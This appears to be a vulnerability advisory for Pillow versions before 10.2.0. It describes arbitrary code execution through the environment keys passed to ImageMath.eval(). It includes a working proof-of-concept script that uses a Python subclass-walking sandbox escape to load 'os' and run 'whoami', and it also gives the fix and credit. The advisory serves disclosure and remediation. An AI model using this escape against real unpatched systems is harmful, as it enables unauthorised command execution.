Summary
A critical security flaw is present in the Python Pillow package in versions prior to 10.2.0. If an attacker has control over the keys passed to the environment argument of PIL.ImageMath.eval(), they may be able to execute arbitrary code. To prevent this, keys matching the names of builtins and keys containing double underscores will now raise a ValueError.
Product
This vulnerability affects the Python Pillow package in versions prior to 10.2.0.
Impact
This vulnerability allows to execute arbitrary code.
Steps to reproduce
- Create a
.pyfile with the code:
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
- Create the following 5 images in the same directory as the Python file: “__class__”, “__bases__”, “__subclasses__”, “load_module”, and “system”;
- Execute the Python file.
Expected result:
Executing whoami displays the username of the currently logged-in user.
Remediation
A fix was released, where keys matching the names of builtins and keys containing double underscores will now raise a ValueError. Users are recommended to upgrade to version 10.2.0, which includes this fix.
Credit
This issue was discovered and reported by Checkmarx AppSec Analyst Duarte Santos.